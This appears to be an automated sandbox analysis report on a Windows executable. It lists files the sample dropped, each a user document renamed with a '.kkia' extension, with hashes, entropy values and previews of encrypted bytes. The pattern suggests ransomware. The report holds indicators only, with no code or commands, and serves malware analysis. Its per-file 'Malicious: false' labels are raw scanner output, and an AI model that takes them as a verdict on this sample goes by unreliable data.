
Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858812312352881
Encrypted:	false
SSDEEP:	24:D+qtGmJimTNVPIptVcOJw8g6JkkbkDHIPjOsIEZApUVhyB9BtXfZ++PcJbWkbD:66b3TNVP6bF5JkqkcPjOsjdUBnw1zD
MD5:	5685D1B5A54F863F116F5260208657AB
SHA1:	2A44765F634017232EA9B8B8EBBF9867B28DC05C
SHA-256:	5936BAC44CECFCA54D32A9C1C71E9B7D6936F991476DDD0DF076B38F6B2B36D4
SHA-512:	646646ED8C116BECE01ACE9B19254907995B1F54046B530C8A528EBE324FC11277D99D80CFB65262B1283531EDF8F2DBBB08E6B56030D2A36320DD98D6F3D04F
Malicious:	false
Preview:	AZTRJ......(L.p...S...jU.!G<.Q..w.82....].D..~...ma.}8+.eQ...4......B.....g.....<F....K.....~+Uj9TL6.te.@....d.f.{P.b..f..u..Fz]5.yC.N.})..x.....L.!..dG~..2.....c.b....\..E..3.n.m2G.r'.r......Sw...@.kdx\E...&.....N.P[.!.8.H..X......n6.t{.s..UrM..............F.?g..e..c..u.FF...b...M.>...e..J..A@..6../.S:..A=M.r.W3....l....1.TU.TDQ..........-..........JY..+bN)..i.+.x/..q...x..Z.&.}..K:..d..6..Pcy..y...P\|..E8~.5....`o(...%p/G..)q....@..:..m</..8.........xw4........neX4....M..R....f..6f.:.O.......4.W..]I6."!B...Do.........?v.~..`..&.......x.:.\T.=^.@..W...FV.......J$_u\..2j..IK.L...#.!.p.T....v...5.D.B...cw........t.U!..j...?...t......q.S.YfL...o.S.....nF).sro..v.^W.e.6..;..v...sZ.)_.Z...t..YK....n8.-!I=....{B..v.1C,....IDD..3....4.. P...E..\."....~^b.......l.K\.......P\NnW....M....i6....._...(.Bt.[).?....+.t...3..j]~.hs..I.A/.,.C...Y].......k<;.v<..d%7...%.Y5Xl.O.._.\..6.po,...9..d0y../;.ul.A_.~...r..z0_.....o..'.bh.B*.FA.-d.z...(.. (...B.

C:\Users\user\Application Data\Microsoft\Windows\Recent\AZTRJHKCVR.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84462191100251
Encrypted:	false
SSDEEP:	24:plWOYO7Dah+6bi5DgmkbtbZAx2ApCKnydfs3ach81wUZNcKeJtAMfuutRCw4JgJi:qdmDah+35UbZAx2YC8ydIaCG3iUMdf4T
MD5:	A71E6F5A155B8E7169E336F76023B669
SHA1:	9C3B761E6D7E6633C8D32D45D66751105F3AA518
SHA-256:	5A6A0CC6BBB10206D3F42BF6D6F9B16F63857FE4A060F87BAFA35E04E5E899F5
SHA-512:	15518D0C4C25C0E622BF0A7D5ADF027E6761A791FA506BF653F9093C079EDC01EE81C5B0A884AA90158C3F89306A085110FC08C5B50F22C80608547666FD3FC5
Malicious:	false
Preview:	AZTRJK....^........Z.D..p...R....W..sa..bB..~.J...n.B..F"~..rx.L.&]M.....}H...k.D..\|..~^.k...K.'..g..T'&X..V(?SoXl..P..G..'L&A..\...._.i.X(.T.Y.l..\...j..E`.c..?IEv..[x....wY. ..c..<.w....nb.0<..`........ON.Ty$.\|..V.F.).....~.A...W..bih...ctE^K..w..9...Mt%..Md).b.B,"..d.:....~..r.y?.?.M.Z.uGo....j}.l..%p....k.N.;7...H.q...0.....I~I\|...B.=...:.?p.c....Q..t\|...1..........g......Jv...)..@.s#/.`.O......#".F..h.)..s/....:r]../...}'"...gn.qO.:6..x.h_...O......8N4W...[+X..}Y/..0.....q........:....q..H.x. R......,q...S.-.......#..U.=29..".5.w.L.W-..h5.qu.]hU=..v..9..x..u...=..H.B]N.t..3O.v..;H7pel.=N........1..f...VX.ir.".\Q.lM.@....3%.[..m.......h{.v.p$-..&.. ..l..~.D..A..s..Qx...7..x...B...S...+....$Q.V....4..]...M..Z.g..s...r\|y)...59.TY....q....AS9.i..z<..%xr...b.{S....g.p.6.D.4P.o>Y..&S.K.'ps.\..OT....X..+H..,.L.z...T.Jt..W.K4..Z..@...5P.s5..=.^.O.l3&h....p.5...Wp........B.P.r.]...h.J..(s....~.V..}...?..\..@...P.....+.....#.....(3

C:\Users\user\Application Data\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1870
Entropy (8bit):	7.899544363201177
Encrypted:	false
SSDEEP:	48:9T1gwAhE0/SWcnNgLw1moDmj3L5O0/XYpjqn7lNQyD:XuUnWwUoI39b/INsNQa
MD5:	AFB2497F30415828B581B81C77A015D6
SHA1:	185E15A9BC5C0957BAC0ACD4CAF5500280455B22
SHA-256:	14B8DFC54579C42C38BBA361C36775260E1E393B7221AC1D0E24A64402895E4F
SHA-512:	3B9DEDA53806A5DD29CA156F8C5CC19E6615E22D69988DED44C500646EB355A8AF6701DA62BB608F834956FE2B3B6626C87D541CC7DCB840FDD9E3F6D9452678
Malicious:	false
Preview:	.......+..W~.x.R.#.^.._.I..e...m...(w.8IY...c.H..T..."......\|..D=.i...../....BaYLT...&X...m.[X.E......a....aG#<\...)......I.i.t...Y..B.0-.f..M.....Q...4.K.. ....\|=..]..y...1....[..8..H....+..xb4.s..{.?.._..)..h...L......3e.:......2w......>.....<.=i..T...l......h7..vg....'.O.S....pC4\|.............F...Z(...?......._..q.v.I.<....m...K...0P..U...\..k...a.6l.........4..,..0.b1Z.w..l.k.i...aIZ..;H2.~..D`..f!i..xz.tN-....'...Z.N:..E.....B......k.f........k<%...#~.a89......F._..\6...."6...B.7.......#.j....f..}0...;.7...\|...B..U..;..2..[V.....)...qZ.ov..r.O..n.e[..c..7.....+K...}. .."...L.:.. .R8.J9...l.......J.q.I\|WQf84.?4.L.'/gG..a}.._.<.07E..n.Mn5{t..P.@7.Vn..2......{...O.5*...R@.C....%S..Ro.....N..K...Q[..&...LBeZ.k.$zz....:.#.j&.I.A@z.....l$.."=.c..u......V\|....L...G.Mu.?e,v..@...x.s.&wl...S...d......s..g.8D.!".s...b`..W../.4...>.l..!.U.G....qf..........k~..i.........r...6.Sc.~'K...6....r6V.('.\.D.o...a.... r5..`.n...0.jP.......<......8.

C:\Users\user\Application Data\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5966
Entropy (8bit):	7.967488780398732
Encrypted:	false
SSDEEP:	96:kiCGnFJ4Je/IRwzOtCJAwwxocCF4UubhEptSa5jzfSCh7L7x0PB275IzSs78SmkS:kns4Je/Iaqtm4mcNUGhE7Fv/h7h05kIm
MD5:	BD64A8B83A3A36C77E4755441BAF63FD
SHA1:	90B52E6EB2352356C80A41F4469E1F8D14464AAD
SHA-256:	991DCAE82672A2493C0E599A71A20EF2606B542DA4C75836A9A832DCA38DAF23
SHA-512:	F880B327E5776DA1E32582F604A8D86F5C3C2A08E8BB82717E3F6C0CFDD9F23B9777657151FF042B1984E79A8840DFC188C7E201476DB16C69913334A298820A
Malicious:	false
Preview:	.......;..:.BN7.....;C.u&.@.@W...Y,.......?.....b.'.6.m.........D{.../....\G...s.(..=.h9...e_#..._..n..ZJ.AM..S. js....?+.<(@b....{.8.......V=8.B........:$.pD.L..a....^..z..OW0.+.y.......Z....4.$lLL......L..Jv<:.#..0.L%.})Pj< /..........%.S.a\[s.{..o...U0..ajd.1.-...g...s..L)7.. ..Bs..Y..)...&X.....'.e..6IeC....8...y58Z..1].L.),..3..Z7.p..7.{.".n..U....7.4..a5`..Tk.j..).9.`.eKx.8F.r.........#HE.;.6q,...E......!.\..i.n.~.a.@X.+y.....!W.l......D.KV..{..T.....K. .$...\xZd...,D..}....t.>....zv......u.w.&..C.D....8.Q..5..x.....~..\....ru.1.s.....\|.7Zf...&..#.'....Y\|1..u....}.Z.@....].A#...!.p..........%......~...ui(> ....3...>..A...p..!..e..B.B)#k4.$.^..RXk..A+....@\..o.nb..?..<.i.}C-....l4-..Ax}02....l=.%..........<sI..5...`...Cl=va..c.G.............G.'..5.u....{.......@....x.{.@xE.%.....Q...A9..x.g..[o.a..T.*....8..H.....#A.!..+.Pu.3..".@..%..[...@.H....5.N..(.(.....}...`<.<7.......7.a...k...-.R....P.<..J...$..A:C.D>.f z6..o.?..H...W.

C:\Users\user\Application Data\Microsoft\Windows\Recent\BNAGMGSPLO.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8532128112462045
Encrypted:	false
SSDEEP:	24:5I35HXL2cvrQA1s28iCwJQAqTVrKJHTo0BszBThOcGQHtZjHtAYHjkbD:5I35HXL2XAqJiCsjqd0ToUsRIcGAhHta
MD5:	02EB2CEEFA011D95BEC40B834E3A08FA
SHA1:	7B35AFEB2458B74F31858F261E6059A653F83FEC
SHA-256:	6D57463329BEF437559D583E838695C5CA6558B070FE279CF5BDDB1BD6945EF3
SHA-512:	C59657CB15A6CEF4507A8CB59E79C26BAEBAA7C3DDAFFAA074A4B6FB506B5A2559CB4427EE0D9303CB7886DCDAB4F04D75FF366D4DB574924537B94C46426AEE
Malicious:	false
Preview:	BNAGM.k... oG-..E.Y_1...{1....KD;..:D7...O.o).ehjkW..o..A......~OG..y..<U.H..0.....$.F<.-3O;....3mK..x...(......H....j$.....:.d.s...nw..Ys..N.s.P..]....^..k.B...G.%......u..(.G.,....@c..cn....4......=.9.Vf.2!....N..o..i.;....o"..awg1..3].......@.5cE..H.sq%.yI..N.5.........FI.H."!.`.....+..z.Nv.H...[?P#].'.H,.'....P.}p.1x...,z......k......=U..V.+..UIM....yb.(..Cs@c..3..o.h....Wo.`.T.......!.......".Z. -.CA.S_.W.......*S.%....\|@:[..F.'..JA....4$.E?.p.....8.....zR.`...e.lYM=..{W.......(_.;........+...m@X.gc.Ou...@N.!!.........$X...q..p...1...l.)..1.m.I4-.....a]H.P..V.(!.....s.....j..z...g....J....UB..uE.#.\_8.......).b.."..q{....o:....p^..-.&..0....!....p.NQg...../B......m..h~czB?#.2{.n..7Z.`!OJ.....G........q.X.Wu..eg...c.A....1..4d....h.s..y......9y..b...@....I]......9...c.....b04J.ml:r..?]......4........&.v....{.0..l..X.v.=...i..U3b.Iy.].m\|r...^i.`k....@...-... #."!hM..H.4...~A..mA.:.....P..y.+.P.k.m..QB...V.[..b.!..'O.3.......

C:\Users\user\Application Data\Microsoft\Windows\Recent\CFIRCYHTYJ.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858472661297303
Encrypted:	false
SSDEEP:	24:ebrEMeQ6qFhgE311MXFuAaUjirUj/zjHjnsaAWB+Meu2yvuR750JTCz12Z+lETfm:P9QBDljMXFupra/HjnsaAWxWyvuMJGz3
MD5:	9ADF4435F174538872F9ABD23145FF88
SHA1:	DA5C4536E4ACE0C4969E11726A2CBFD5441340C2
SHA-256:	973A566CE29B793F36B616154567872D291867043938E48AAE1B679934D4C27B
SHA-512:	25A9CA71D5C25A0F48EFD48881BFF7BA1562221B1D1B778F8DD6F7BF9DED3D2A74CF4BF027222E82FC63D5FD0062B07C31B92A5B57DA91A0A23C1E6ECE86F1D4
Malicious:	false
Preview:	CFIRC'.V'...Qw.C{:.wK........#N.W...E.#.g}H..4........3..t.......6B....5d..6-...\>}...`..'1...7}h]..`w. .[m?..j...R.....AP=..6...........u.....D..5.....!@.A..n@.Q.....u.....u.i/....R.~... 0.x......(..3..'8..7...z.j..8OI..E......$C.R7X2.2N..9...'...E.z........D0...B.~.P.l.K..3.4vR..T`....).4.0.........1........(..q.+7.6m.../......Nh....(..t.Me..i..l..b.qz.....sG(B.......p.V...\|........g.n.P.#....U.EP.L....q...v..aXVK..P.+.C.]....^.f.f.5iB...[rl}...s......).j....@.L...uO.>....*..A...<..\")`u.+.G.gF.^M.V..h..v{.........f..Z.i.K.>T...`n.5.j.=.......2}~..cgF..J.O/.O.....5.yVI....m[..qo..]<.,.B.-O.k..N....&..?n......{>k..zu...{..3..ZN...`.Pk.&...o..%..L.....D+.B<.t...+...z..b..JR...D.y/b...#.]..G.........K.R..M.^.5..I..z...W\...pQ...0h Bg./:h..\|0.^#...,...1..."....0.p.._u=A...A.+O 1./.....e,rL...n....5Aw..0.`v.p...~..B.uo.=.....{}.X...Z.f.AG..@.T.)....#.r.{I...f?...{.L..og..a.W:7..f..re:./.=..L}......x..W..Z.=A.K.C%..#..A..K+....n.n.ey[.

C:\Users\user\Application Data\Microsoft\Windows\Recent\DQOFHVHTMG.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86300594868638
Encrypted:	false
SSDEEP:	24:2u6CYCR1XYHaAEOBa1RyCjQHsoEKk6OoSpG01M5BOoo65kbD:+CR1tUBG82d9xKmD
MD5:	5E6DA10FE0938D71E56876BBFFC8E76C
SHA1:	E78EB626F09837C46016FBAA4E5B4004BC49D8D0
SHA-256:	6A552114509FDE8DFA7F85195952DF4BA2210BE5361325D8FFB22363E0282B2D
SHA-512:	9FEE120323227C546529240AEEFF9A87CDEED844A8D4E65C1A436EFA4AD5AD1C317BCA2291DA426A91792E277A384EA23670291844A438F268ED075F39268D02
Malicious:	false
Preview:	DQOFH.R/r....x...Z.L=sVU..yR..fr%O....1....x.-.....AiY..}..;.hM..z...Bg(.NU.#..?S.....O!....s...$M[..z..b..rj.......k...C.Q5b.....or..G..d"n\|.\|:..Rd....\|.......x.1........s)..J.._...0..`..Z4i.K.Sfd4.t.....[k.F.P\.;=....Wu.Ju...K..u;....:.N.$...a`..J.]....t.Nr. .....Qw...b....W.9...Q8.D..Z...d..;.....2...v...9.......H.r..41u.h.....Z...%-.%.~x.Zn.?."...+.FR...).....)YC..n..E..?..N....e...MH..?....@t..m..........,c..!...c..FOd......6.q..OFC.E.A....b...a%0g..7/.P....F;G.[.Bb....@..U.......8....?4.5q...+..7.O..p...X[:..@~....M...h.auI3./.i....m.Oy\|^H.....D.......Q...\|...T...]...0..]g...%T.p.E.%..p...K..3I....\.gh.j...i..~..E.....@.rw.W.-I.2.V.........\|q@..r.rS.l,.....W.t....o..4$.. .e.........<....u..z.C.?.7s..A6.&SV...f.K?.G....}G6oj.C.k..jE.8....9.=i...+.0.T...O.......jN.U...$...l...~.^..)IT.+h}./.l...e.Mm..;p.l.*G...NZ.eA7..........c...6.b..Z3L=-.x.. .....R....T.:.......C..AZ...d........%.h^....(.2O..3..Q.q.:.^PX.<.n.$.2....[..z6.!.cDO.U...

C:\Users\user\Application Data\Microsoft\Windows\Recent\DQOFHVHTMG.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840484874481535
Encrypted:	false
SSDEEP:	24:zjDrXFX23rsOkDRIkQlox66VnPMQtCpoD9yA+7tCPZqdnGHLjX+4uDkbD:3PGkVIJepFApwYVEZJHLaWD
MD5:	A82D0A6EFDF09162DC46653D166DBEF2
SHA1:	9F9EDD96658D86FC48B907ACD54E9EC4C8D80490
SHA-256:	816B92F95A259920A4561B2EFBCD45D1E886565D97F8E3A861684969F8B21C96
SHA-512:	CB02480A18B255D050F115D96EC0353FADA9F932642BA149F9ED2D2ADA1730A9543CA8D6B646E4ABD78FE564B7353206E0A267807494E62575AD0E9990E4A1FE
Malicious:	false
Preview:	DQOFH.{....0!g..&.jD......kY...O1....=[....M..P.\WpA...\.....K.......4!.6...n..s..M.D&1S.9.3.w;O.b3..k...V..........g.g.K....).. k.b...13i.+....Z..fb.......=.....{.g.s\|"..."...I....S...>.3L...Is.W..#...g..y1..I.!=Q.e...j.b"...j...V.p``a..^m$.V.~wO..b.2$...i.(.z.S...G..'W).~..`o..g.j..6...n..d..C...HZ1j....\|pG.o.....wAMa.f.+[.....aSf=...Gf.h...L....F.Z......m.B..\|.}._.=.>.N<.N....7..>A.^.4!f.r..W.e.O!,^%....h...t1..Qo.E.V....6.7.~I.k.....o.....l....\|,'.+6!..+.2..a.9.@hy4.\|*.#.QG=....<..Ix.2}.#....5.\x..8...y...F.X...c.7i...r.F`.y......g.........SUd.M.=.M.B...@..#.V.aI.9.H..O0Te....<.j..B.y33..s..f....Ap..:.R.......</g....k...`f.^+......M.......vV..p.)h".....8.....Y..B.P....+.nc:Lo.ye-.h.LR..g_...M0....T:.&Q{.n{a%.....d.cx..b.....]...;.>.J.....Y^..8N.....k.G..Q.[..&..y.U...w.w....}....'..`c.-...m.L..=[...y...Q.n....B.T...w..; \..S.\.=G.2JS~;.uw..L.4.iR.....U.S...w..S..{.....Z....N vwJ%..Gph?.Du..)....R.... o.....n..'.......}0SX....V...

C:\Users\user\Application Data\Microsoft\Windows\Recent\DQOFHVHTMG.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840135071365546
Encrypted:	false
SSDEEP:	24:5LDFRQbwgXWITPcpeZqgkT3AYqUA3JB0X2BQrgePkbD:5gbwEPxZqgw4f37w2B1TD
MD5:	B1C0002077A5798BA6B9D6B097B4EA3E
SHA1:	CBC1267E3CB85A181B6D0B7940512E3FC2965C49
SHA-256:	DB3AAA444FB713070BF4B95FB8DFB38B9423E850748265493528C05EC25ADA0A
SHA-512:	F7DFBF528ECFF3E3F84B0F28CC05F28C972663FCA08A3FC89D4113B718692F3BC601AE77BD7FAD903A01A456EDFEE1921FD1114C7BDD20B7CE9F361F85A62DED
Malicious:	false
Preview:	DQOFH.3.Ws...V=......k..B..N.4..."..pnK..J....An.D..w......1R{....p...._..6.~.....D..uGZ......B.3[\|.<..Vg...:... .h..5l..H.w...M.......\|..y.+4..mV....J.!.k..g%...A$..(......N.V.e.^9..\....>'...wd7..Sf."..()........ h.~.l......2.Z.;...(..N.........H?a..>d.....D./...5.....@p2.\.).A.q..k.a.....X....k.!zWu}..m.U\|..(l7.,\..:...l...m.........Y....~.W.&.<....S..?m..}....t.K{...O....I...0...=.by.6.EJ..#..= ..ku.Z].c:)....Z...I'...3.....$.zi..... %.0.......9..qPm.....8......._X..a...~.m....8....1l,.0.)w=..P.u..)d...6..)\..]....f.y..YA..mG.An......I.:.D.J..4......>.....KR..>.&I.~J....M=.K.^j,.....hu.....Rn.>F.6.?{I.0.'.?].uo..^............:......F.......e...........>".R".j.#>..T...=....P#Y:p.M...G..d...!.Gv.g.h...=N...H6g.37...]/....q...O.........Q..Ev..P...T!o.R.g....Qs.<......,.;rz.....#..E..v.........P...X.y.r.....E.&...N.....3S.[.o.32...5..t}...6....../wv....D..L.G.....s.Ro.,.H..B..?..)..z.r.-.`.o.n6\|%[...o.dO.r.iF~]..~{.C.T

C:\Users\user\Application Data\Microsoft\Windows\Recent\DUUDTUBZFW.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840599885323661
Encrypted:	false
SSDEEP:	24:zT3zeS1j+annQ+WllmS96+BmoNMDDWjWMMg6uLWTYjkAeU+aQIAOVbkbD:f3SS1jUXlYSjQoadWKU0IxVqD
MD5:	BFA460311F89ADAAA8C19FC07ED48EF4
SHA1:	A03FA96759E804411DC44C671BB295C42D7BAD94
SHA-256:	CAA81A499F284F5F50C42349518BE25110D37808521FC2E840476CDE8327B0A0
SHA-512:	7896EF54780C1AE6CBB06895199EFC0F59ED8BE9EB47F8B4D83485D0B642DA263617B09C255EE480F36F612E1D3C166C78B595A49FFF3C01D99A4A5F6F3E8462
Malicious:	false
Preview:	DUUDT..fP.~O..?r.8../.3..\|..UXL.c..d..\.J<.....4,...x.".:..@m..v..U.......o.\.O.DT.....,-..D...K@Ws...0.~.&.Q<...q`J...M..v.I..+5...J..(M...E.:^.\F.".\.Uu...f..Ls..6m......t.lN.....;....!...K.X...%S.;F......i.#.]..z...4..w......O.....mGR\..}.k. i..z.p....q.h....)(.]......<S.P.....i..B7...'HtE.H.r.7q......z...$=:.....}..3qz..t}...lO. ...0dn8.)`.F.j.U....+}F...r.Y]:(.y%..VC...p]...f...inR&;.b.+.]A..p...T......)......:..d.7~....O.....j.0zF`.a..'.}..MV.i...8.[.fj./uzMo./.....I.q^........l.t^._.'u.....ll.h0..`C.v...e."...m..z..X.....md....:."1..b].P.qS....."i.$.v..J..P.+q..U.]x.g11.o...... .a!..Vp..^../q.l.)....E.2...<.../...E`].d..M9.$..V....0.AQ.,..p.'..e.3.V.h..%...8c..f.4..D......b...%..$.1.5k...>.Y./.._.....Rr&....g..kS&rHDw..w..3.......~P.C.i..q.C.[#.....$..o..\|..X~X.'....Ve....z..BK..$..$.4!......ejv/...W....A:.rG."j1....q..T..F8iSd..<.2Z...... ...B...[..].N.......o..N./.z.[d.%..e%U.P..Cx[.{...k.9v...SB&O..(.&g+i....}W....<.#..d.....s

C:\Users\user\Application Data\Microsoft\Windows\Recent\DUUDTUBZFW.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836844663522558
Encrypted:	false
SSDEEP:	24:BAhvsj7i7wNvajfFXO3W1EsUrkQeUgyeChmPOGWyOFsalkbD:a5+i7wx6hR+srQenbNOGWyOJUD
MD5:	9AAEC7310C31BAD39D52BD946AEBCB17
SHA1:	CAD3CC9143AD14C1B0E1B4BA85085F185CFD164A
SHA-256:	6D9BE0C228A40749F7A15178A56DE69A76E9E99A5294BDFC354280AC83FA504C
SHA-512:	E9790BEEB37C3A35794484521FEED55F67DF652F60A31986D9807936FCC59192529A4123E1D0143F731C493BF89FF579748160940F1CC515A2BC5A862A16F500
Malicious:	false
Preview:	DUUDT.........~..M..`GU >.!.k.?.<....8..>X...3...Zy....r...K.E.21.B..n1.%y.A'o....K..3.56'a.Q"..V...#i.G....M..$.F.&.j.. .(...Bb..C......".!n)&M..0.vfa...../.o...pkS...[.."V. RR..G...R..$. b.).......iWd..P.=&{&.J8j.7#.N..0".Z.RU\|..$..P.7<.j....d@..5...pV.b.9M...9..<P..#N^..m..k.\|d..ku....7fE........v..fl....Y......._....F.....gm@ .L.:.\|...:..@\.f.."-.7zYm.........R...b.....nGg...D..P...aZ]_r&..0..}P.....b._.3......g....g3%.y....%........m4.....I..X..9..."....8.mN._\.+.H>.G5.Z.o.\|!...oa..2...R.-.0..b..D4Bms....l...P....b.........l/.a~tL...,.......j.,.+..w..X..0lo......5...{ob%.A3.1.../`...8.B..t.......]........... fF..9.....H..0r.....+...Pi."...z.fN....Oy..T.U...}H...\.LNO.a...e..:.c.....e..K.....K../,.....3.2/.r..h...i.C...)0.........Q.%...k3R#A.+.!.8.te%.....4vv.W.sg....$gE.&.=......w.&.......E.c.......H....\|b".....]..... .p...v.8d4..........Ve~sr.5:. .....w.j.n...\.yP.#0.q.:0.A.D"PxJ"&t\{.9~..?j..0].s.y.....O

C:\Users\user\Application Data\Microsoft\Windows\Recent\EEGWXUHVUG.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833021513241325
Encrypted:	false
SSDEEP:	24:Ru3/zYwA2CdlHq+MYuuadSYzqO+pwvHUCZdFDkN9knURFypRmXZkbD:QeXlHnlXaYet+SVZdtkDk/pRGAD
MD5:	301AE1F3C4002CFA8D6FE4FA5C662E18
SHA1:	08C64D47DE67DE46E94403FF825208F31FF765A8
SHA-256:	2043C3EAAE610E1EA9AA536BB61780493D8440AF033C6655255DA3A1862A1278
SHA-512:	6AE32D95C33702ECBA5F7E22DB2FB4AE2D6C132C7339F8CA5EAC9924C9D7E5382A9D3B0D95CD0A8BE97D3CBA6450E1F57D3578997F727B706209A111163984E2
Malicious:	false
Preview:	EEGWX.o(&...P...X.."\..}i.y~".j.}xN?K.5.o.N.`Y..8....g..9W.B.. ......i..!....L.HEDe.mi%i%..T....}m#.^.`......Y...}Pi.E\|r......#..'....I.......e.v..q.........k.. 5.S.-....Z.....`......}.@.vK..F<.u!.w....OY..A..z[.7.?.W....1...h.x..Z.Y.^..1"Y07.x.Z...Qb=..&E.s%...d=......p..'.Z...P^z...l...kP..H.G.A.LF.H...........:.....<.@iY.Ts.....@...y..g.A.Q......A...P...P....[...m..]..[.%.3Q...p...7.y.)...>.b.v..n..n..K...75...K1a..p.yQ.#~.G.P$.U.;...&....}..........._.0O,.y.Z..NA..Z.[l.....mU...I.C.x~.m.8.."..Id^o.A.O...........o.,...};".....AbB..VtHHuQ. ......P.........-%.. ...E.q....ptq.4.T2cp..Y..AB2..I..>...l.....m..>.AAM(,5^..~.......t?.F:....x.e...wgx.xA...a............B......m..8.'....3ZsN.....!.... +..i.....`.#.>s.lX-.L.~..+.<...m.....Uvz....U...y.3b.K.?..o..K.L..'nc,.c..r.u.....T.ya...g....~.D.68..w...p..$.oC.K...(.....!G....4.0.)...L..`X.!.P!/..[....q........?....-....R...Q%XIf..?~..?8>.....,..O.+Q.@`..8._E..a...].Ts.L...-}.{...v.x.8.

C:\Users\user\Application Data\Microsoft\Windows\Recent\EEGWXUHVUG.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8509936453388836
Encrypted:	false
SSDEEP:	24:pjkBHw4PxMdS75ZOX5y6ZUjmeFQ3mqwYGjgA6/xhEJWQpufM8DUhLkbD:pjMw4Pxy6b0UKe+3/wYGkAIhEBgDUgD
MD5:	EF65F67692FA819B512DA348408443D6
SHA1:	595E8962476D8C1ADBA307DBE67C910C944EEC98
SHA-256:	C403BCE1554604C6DA9742C8C225B243B9C7CED069218BFD469F69F962A762E4
SHA-512:	3AC1CB6768B98A607364BAB79636AAEDCC230586BDBF4A1AC4B5E0CECD4E626D02B505C1DA95556EBBE873B89FDFAA6DEA0FAEC7349E8CE42F49D8BDF6A149F9
Malicious:	false
Preview:	EEGWX.E...Qtox.B.[V..C.n".I.....'.=.".....'.Y1C...-E...^......@...k........o.....X.j..y9<....^K.tJj..Ef.f..S.b.....'G..;...L.. ..P...\..R=....S..b.wh....JI...1.p...x.@p...$#G..'._5..$....v...6f..l.!7.h..AtK...w.7 3QZ7.?"\|..b]n.s.[..v.....}>..d......6.f..........I.)...,.._C..C.d.U.ML+....;?0...(.F..&...S...d.=.?....^eK...E?.I.-..._~..T.x7..r..l..L..=O,G4G.mp.T.!2?...=.....li..I.<K.I3...S...L;@...D.u.m..B.U.....$.0.<........@;/%...M.1......u.....?....l.`...,..K.J...X..f...Gc.....}...Oz.Vf.....wj.P......&e("=.....f..Xa.8.9...9.^...).N. h.......h.R./.q.c$..5M.)..`.^.Pj..q...kJ&(!.Z5.}\.nI.d#A..S.K........0....!/6...f.....q.@...N&Z.s.UW.4....C./..t...2=...OO.Rp.._...2D...Pj~.3y#.....o@.9d..d....'`....P...K+...A.=....g.JP.cD... ..M.?.IY.y.76.iH..'...F.v.... 26.L9...-.C.g..f#E7...\|{eh..3..8t^p..}?9...=g..j..}4..8k...#-...S..b.C.r.3..s...k@.X}&.c..2U............l.4S$B.%..:.._......S..N.\............QAC.R.+.f.+.~.....*..VG'.E.-.F.

C:\Users\user\Application Data\Microsoft\Windows\Recent\EFOYFBOLXA.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837865219656547
Encrypted:	false
SSDEEP:	24:t/DL3mN2frZ/RgNuZfBhYUV8OlWd1fft5olmB9eQXi5wdldwLe0vTkbD:xDLWgfrZ/aNEfv6Hd1nt5oQDI5w9seRD
MD5:	E2F827AD84165FCF5EC5EAAFC1EAFAE3
SHA1:	15440F29666CA615115BACA9B83AA8153D4205AD
SHA-256:	E3E219CD4B084FD767C09B56957008E12051D566F03CF875DDA2B722FC89DDC4
SHA-512:	3F3891B1BBA9C156AC27587AB12E9517920D54E7E70002B09881C9D7BF96915FDAB8712393E83C395289AD355AC01C3A584FA601F549228AA7D36F0D171262FE
Malicious:	false
